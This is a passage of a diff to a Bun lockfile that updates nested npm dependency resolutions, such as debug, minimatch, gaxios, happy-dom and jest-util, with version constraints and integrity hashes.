+ "d3-dsv/commander": ["commander@7.2.0", "", {}, "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw=="],
+
+ "d3-sankey/d3-array": ["d3-array@2.12.1", "", { "dependencies": { "internmap": "^1.0.0" } }, "sha512-B0ErZK/66mHtEsR1TkPEEkwdy+WDesimkM5gpZr5Dsg54BiTA5RXtYW5qTLIAcekaS9xfZrzBLF/OAkB3Qn1YQ=="],
+
+ "d3-sankey/d3-shape": ["d3-shape@1.3.7", "", { "dependencies": { "d3-path": "1" } }, "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw=="],
+
"data-urls/whatwg-url": ["whatwg-url@14.2.0", "", { "dependencies": { "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" } }, "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw=="],
"diffie-hellman/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
- "domexception/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
+ "dom-serializer/entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="],
"error-ex/is-arrayish": ["is-arrayish@0.2.1", "", {}, "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="],
+ "eslint/@eslint/eslintrc": ["@eslint/eslintrc@3.3.1", "", { "dependencies": { "ajv": "^6.12.4", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.0", "minimatch": "^3.1.2", "strip-json-comments": "^3.1.1" } }, "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ=="],
+
+ "eslint/ajv": ["ajv@6.12.6", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g=="],
+
+ "eslint/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "eslint/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
"eslint-import-resolver-node/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="],
"eslint-import-resolver-node/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
+ "eslint-import-resolver-typescript/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"eslint-module-utils/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="],
+ "eslint-plugin-i18next/lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="],
+
"eslint-plugin-import/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="],
+ "eslint-plugin-import/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
+ "eslint-plugin-jsx-a11y/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
+ "eslint-plugin-react/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
"execa/is-stream": ["is-stream@3.0.0", "", {}, "sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA=="],
"expect/jest-message-util": ["jest-message-util@29.7.0", "", { "dependencies": { "@babel/code-frame": "^7.12.13", "@jest/types": "^29.6.3", "@types/stack-utils": "^2.0.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.9", "micromatch": "^4.0.4", "pretty-format": "^29.7.0", "slash": "^3.0.0", "stack-utils": "^2.0.3" } }, "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w=="],
+ "expect/jest-util": ["jest-util@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", "graceful-fs": "^4.2.9", "picomatch": "^2.2.3" } }, "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA=="],
+
"express-session/cookie-signature": ["cookie-signature@1.0.7", "", {}, "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA=="],
"express-session/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="],
@@ -5819,25 +6073,25 @@
"filelist/minimatch": ["minimatch@5.1.6", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g=="],
+ "finalhandler/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"flat-cache/keyv": ["keyv@4.5.4", "", { "dependencies": { "json-buffer": "3.0.1" } }, "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw=="],
"form-data/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="],
- "gaxios/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="],
+ "gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
- "glob/minimatch": ["minimatch@10.1.1", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ=="],
+ "gcp-metadata/gaxios": ["gaxios@5.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^5.0.0", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-95hVgBRgEIRQQQHIbnxBXeHbW4TqFk4ZDJW7wmVtvYar72FdhRIo1UGOLS2eRAKCPEdPBWu+M7+A33D9CdX9rA=="],
- "google-auth-library/gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
+ "glob/minimatch": ["minimatch@10.2.4", "", { "dependencies": { "brace-expansion": "^5.0.2" } }, "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg=="],
"google-auth-library/gcp-metadata": ["gcp-metadata@6.1.1", "", { "dependencies": { "gaxios": "^6.1.1", "google-logging-utils": "^0.0.2", "json-bigint": "^1.0.0" } }, "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A=="],
- "googleapis-common/gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
+ "happy-dom/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
- "googleapis-common/qs": ["qs@6.13.0", "", { "dependencies": { "side-channel": "^1.0.6" } }, "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg=="],
+ "happy-dom/whatwg-mimetype": ["whatwg-mimetype@3.0.0", "", {}, "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q=="],
- "googleapis-common/uuid": ["uuid@9.0.1", "", { "bin": "dist/bin/uuid" }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="],
-
- "gtoken/gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="],
+ "happy-dom/ws": ["ws@8.19.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg=="],
"hast-util-from-html/@types/hast": ["@types/hast@2.3.10", "", { "dependencies": { "@types/unist": "^2" } }, "sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw=="],
@@ -5871,10 +6125,16 @@
"http-proxy-agent/agent-base": ["agent-base@7.1.3", "", {}, "sha512-jRR5wdylq8CkOe6hei19GGZnxM6rBGwFl3Bg0YItGDimvjGtAvdZk4Pu6Cl4u4Igsws4a1fd1Vq3ezrhn4KmFw=="],
+ "http-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"import-from/resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
"import-in-the-middle/cjs-module-lexer": ["cjs-module-lexer@1.2.3", "", {}, "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ=="],
+ "ioredis/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"is-bun-module/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"istanbul-lib-instrument/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
@@ -5885,44 +6145,30 @@
"istanbul-lib-source-maps/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
+ "istanbul-lib-source-maps/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "jake/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
"jest-changed-files/execa": ["execa@5.1.1", "", { "dependencies": { "cross-spawn": "^7.0.3", "get-stream": "^6.0.0", "human-signals": "^2.1.0", "is-stream": "^2.0.0", "merge-stream": "^2.0.0", "npm-run-path": "^4.0.1", "onetime": "^5.1.2", "signal-exit": "^3.0.3", "strip-final-newline": "^2.0.0" } }, "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg=="],
- "jest-changed-files/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-circus/jest-matcher-utils": ["jest-matcher-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", "jest-diff": "30.2.0", "pretty-format": "30.2.0" } }, "sha512-dQ94Nq4dbzmUWkQ0ANAWS9tBRfqCrn0bV9AMYdOi/MHW726xn7eQmMeRTpX2ViC00bpNaWXq+7o4lIQ3AX13Hg=="],
- "jest-circus/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-circus/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"jest-circus/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "jest-cli/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-config/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
- "jest-config/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-config/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"jest-config/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"jest-diff/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
- "jest-each/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-each/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
- "jest-environment-node/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
-
- "jest-environment-node/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
-
- "jest-environment-node/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-file-loader/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "jest-haste-map/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-leak-detector/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"jest-matcher-utils/jest-diff": ["jest-diff@29.7.0", "", { "dependencies": { "chalk": "^4.0.0", "diff-sequences": "^29.6.3", "jest-get-type": "^29.6.3", "pretty-format": "^29.7.0" } }, "sha512-LMIgiIrhigmPrs03JHpxUh2yISK3vLFPkAodPeo0+BuF7wA2FoQbkEg1u8gBYBThncu7e1oEDUfIXVuTqLRUjw=="],
@@ -5931,24 +6177,12 @@
"jest-message-util/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "jest-mock/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
-
- "jest-resolve/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-resolve/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "jest-runner/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-runner/source-map-support": ["source-map-support@0.5.13", "", { "dependencies": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" } }, "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w=="],
- "jest-runtime/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
-
"jest-runtime/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
- "jest-runtime/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
-
- "jest-runtime/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"jest-runtime/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"jest-runtime/strip-bom": ["strip-bom@4.0.0", "", {}, "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w=="],
@@ -5959,28 +6193,18 @@
